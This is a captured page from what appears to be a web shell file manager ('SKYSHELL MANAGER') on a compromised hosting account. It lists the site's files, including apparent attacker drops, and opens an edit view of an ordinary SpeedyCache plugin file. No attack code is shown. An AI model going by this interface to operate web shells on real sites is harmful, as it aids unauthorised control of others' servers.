📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: gravatar.php
<?php namespace SpeedyCache; if(!defined('ABSPATH')){ die('Hacking Attempt'); } class Gravatar{ // Gets gravatar data static function get_avatar_data($args, $id_or_email){ if(empty($args) || empty($args['found_avatar'])){ return $args; } if(empty($args['url'])){ return $args; } // Path to Gravatars $path = \SpeedyCache\Util::cache_path('gravatars'); if(!is_dir($path)){ mkdir($path, 0755, true); touch($path . 'index.html'); } $email_hash = self::get_email_hash($id_or_email); if(empty($email_hash)){ $email_hash = 'default'; } $file_name = $email_hash . 'x' . $args['size'] . '.jpg'; $file = $path . $file_name; if(file_exists($file)){ $url = self::convert_path_to_link($path) . $file_name; $args['url'] = esc_url($url); return $args; } $res = wp_remote_get($args['url']); if(empty($res) || is_wp_error($res)){ return $args; } if(empty($res['body'])){ return $args; } // If we fail to write return the same URL; if(!file_put_contents($file, $res['body'])){ return $args; } $url = self::convert_path_to_link($path) . $file_name; $args['url'] = esc_url($url); return $args; } // Gets the Email hash which is used in the URL. static function get_email_hash($id_or_email){ if(is_numeric($id_or_email)){ $user = get_user_by('id', $id_or_email); if(empty($user) || !is_a($user, 'WP_User')){ return false; } } elseif(is_a($id_or_email, 'WP_User')){ $user = $id_or_email; } elseif(is_a($id_or_email, 'WP_Post')){ $user = get_user_by('id', (int) $id_or_email->post_author); } elseif(is_a($id_or_email, 'WP_Comment')){ if(!empty($id_or_email->user_id)){ $user = get_user_by('id', (int) $id_or_email->user_id); } if(empty($user) && !empty($id_or_email->comment_author_email)){ $id_or_email = $id_or_email->comment_author_email; } if(is_a($id_or_email, 'WP_Comment')){ return false; } } if(!empty($user) && is_a($user, 'WP_User')){ $id_or_email = $user->user_email; } // We need an email which should be a string if something else is being passed then just return if(!is_string($id_or_email)){ return false; } $email_hash = md5(strtolower(trim($id_or_email))); return $email_hash; } // Deletes all the gravatar stored static function delete(){ $path = \SpeedyCache\Util::cache_path('gravatars'); if(!file_exists($path)){ return; } $files = scandir($path); if(empty($files)){ return __('No file present to delete', 'speedycache'); } foreach($files as $file){ // We dont want to delete index.html or any directory. if(file_exists($path . $file) && !is_dir($path . $file) && $file != 'index.html'){ @unlink($path . $file); } } return __('Gravatar files deleted', 'speedycache'); } static function convert_path_to_link($path){ preg_match('/\/cache\/speedycache\/.+/', $path, $out); $prefix_link = str_replace(array('http:', 'https:'), '', content_url()); return $prefix_link . $out[0]; } }
Save